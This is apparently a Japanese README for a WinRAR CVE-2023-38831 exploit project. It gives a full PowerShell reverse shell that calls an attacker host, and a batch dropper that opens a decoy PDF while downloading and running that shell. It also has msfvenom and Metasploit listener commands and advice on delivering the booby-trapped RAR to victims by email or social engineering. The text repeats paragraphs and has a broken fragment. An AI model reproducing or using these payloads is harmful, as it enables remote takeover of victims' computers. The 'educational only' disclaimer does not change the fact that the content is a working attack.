
このプロジェクトには、**CVE-2023-38831** を悪用する Python スクリプトが含まれています。この脆弱性は **WinRAR** 6.23 より前のバージョンに存在します。このエクスプロイトは、被害者がアーカイブ内の無害に見えるファイル(PDF など)を開くと任意のコードが実行される、**悪意のある RAR アーカイブ** を生成します。
technical_corpこのプロジェクトには、WinRAR バージョン6.23より前のバージョンに存在する CVE-2023-38831 脆弱性を悪用するPythonスクリプトが含まれています。このエクスプロイトは、被害者がアーカイブ内の無害に見えるファイル(PDFなど)を開くと、任意のコードを実行する悪意のあるRARアーカイブを生成します。この脆弱性は2023年4月から8月にかけて実際の攻撃で悪用されました。
CVE-2023-38831 は WinRAR の脆弱性であり、攻撃者が被害者に無害なファイルとそれと同名の悪意のあるフォルダの両方を含むアーカイブを開かせると、任意のコードを実行できるようになります。ユーザーが無害なファイルを操作すると、WinRAR は誤って悪意のあるフォルダの内容を処理し、攻撃者のペイロードを実行します。
.bat または .exe ファイル)を含む悪意のあるRARアーカイブを生成します。git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
ここでは、.rar アーカイブに埋め込まれたバッチファイルを使用して、ホストされたPowerShellリバースシェルをダウンロードし実行します。
PowerShellリバースシェルスクリプトの作成:
以下のPowerShellスクリプトをKali Linuxマシン上で reverse.ps1 として保存します:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
<attacker_ip> をKali LinuxマシンのIPに置き換えます。
<attacker_port> をリスニングするポート番号に置き換えます。
Kali Linuxマシン上でPowerShellスクリプトをホスト:
PowerShellスクリプトが保存されているフォルダに移動:
cd /path/to/powershell-script
PythonのHTTPサーバーを使用してファイルをポート80でホスト:
python3 -m http.server 80
これにより、reverse.ps1 が http://<attacker_ip>/reverse.ps1 で利用可能になります。
PowerShellリバースシェルをダウンロードして実行するバッチファイル(script.bat)を作成:
@echo off
:: 正規のPDFを開く
start bait.pdf
:: PowerShellスクリプトをダウンロードして実行
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
CVE-2023-38831 エクスプロイトスクリプトを使用してバッチファイルを埋め込む:
WinRARエクスプロイトスクリプトを実行し、バッチファイルを正規のPDFに埋め込みます:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
このコマンドは、script.bat を含む POC.rar ファイルを作成し、リバースシェルを実行します。
リバースシェルを受け取るためにNetcatリスナーを起動:
nc -lvnp <attacker_port>
被害者が POC.rar を開きPDFファイルを実行すると、script.bat がトリガーされます。
スクリプトはサーバーからPowerShellリバースシェルをダウンロードして実行します。
Netcatリスナーにリバースシェル接続が届きます。
ペイロードの生成(Metasploitを使用する場合): msfvenom を使用してリバースシェルペイロードを作成できます:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
作成した payload.exe を CVE-2023-WinRAR-Exploit ディレクトリ に移動します
エクスプロイトジェネレーターを実行: Pythonスクリプトを実行して悪意のあるRARファイルを生成:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b: おとりファイルを指定(例:nmapcheatsheet.pdf)。
-p: ペイロードファイルを指定(例:script.bat または payload.exe)。
-o: 出力ファイル名を指定(例:POC.rar)。
RARファイルを被害者に配信: 生成された malicious_archive.rar は、ソーシャルエンジニアリング、メール添付、ファイル共有プラットフォームなどを通じて被害者に配信できます。
リスナーをセットアップ(Metasploitを使用する場合): 攻撃者マシン上でリバースシェルを受け取るリスナーをセットアップ:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
このプロジェクトは教育目的のみを意図しています。作者は本エクスプロイトの誤用について一切の責任を負いません。許可された環境または完全な同意を得た侵入テストシナリオでのみ使用すべきです。